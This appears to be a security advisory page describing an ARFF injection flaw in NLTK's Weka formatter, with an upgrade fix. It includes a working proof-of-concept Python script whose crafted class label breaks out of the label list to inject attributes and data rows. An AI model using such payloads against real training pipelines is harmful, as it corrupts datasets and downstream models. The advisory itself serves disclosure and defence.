Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade nltk to version 3.10.4 or higher.
nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') via ARFF_Formatter.header_section() in nltk/classify/weka.py, which writes class labels directly into the Weka ARFF @ATTRIBUTE '-label-' {...} declaration using ",".join(self._labels) without any quoting or escaping. An attacker who can supply class labels to a training dataset can embed ARFF metacharacters such as }, newlines, @ATTRIBUTE, and @DATA to break out of the nominal label list and inject attacker-controlled ARFF schema and data directives into the generated file. This vulnerability is reachable through WekaClassifier.train() or ARFF_Formatter.from_train() whenever training data contains attacker-influenced labels, and the malformed ARFF is written automatically by the normal training workflow.
The following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does not need Weka to be installed, because the attack is carried out purely by generating the ARFF string.
from nltk.classify.weka import ARFF_FormatterAttacker‑controlled label containing ARFF metacharacters.
The
}closes the label set, the@ATTRIBUTEinjects a new attribute,
@DATAstarts the data section early, and%comments out the rest.malicious_label = "safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%"
featuresets = [ ({"f": "benign"}, "legit"), # legitimate example ({"f": "payload"}, malicious_label), # attacker's example ]
NLTK builds the formatter from the training data
formatter = ARFF_Formatter.from_train(featuresets)
Generate the ARFF string – this is what would be written to the training file
arff = formatter.format(featuresets)
Verify that the injection succeeded
assert "@ATTRIBUTE injected NUMERIC" in arff, "Injected attribute not found" assert "@DATA\n0,owned" in arff, "Injected data row not found"
print("=== Injected ARFF (excerpt) ===") for line in arff.splitlines()[5:12]: print(line)
Expected output:
=== Injected ARFF (excerpt) ===
@ATTRIBUTE 'f' STRING
@ATTRIBUTE '-label-' {legit,safe}
@ATTRIBUTE injected NUMERIC
@DATA
0,owned
%
Explanation of the injection:
· The label safe} closes the nominal label set {legit,safe} prematurely. · The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name. · The % at the end comments out the remaining header lines that NLTK would have appended, preventing syntax errors.
References
· CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component · Huntr report https://huntr.com/bounties/bc7085e7-1caf-40c7-b406-a5099ce44072 · Weka ARFF format documentation
Note: The PoC states it requires only NLTK and does not need Weka to be installed, as the attack is demonstrated purely by generating the ARFF string.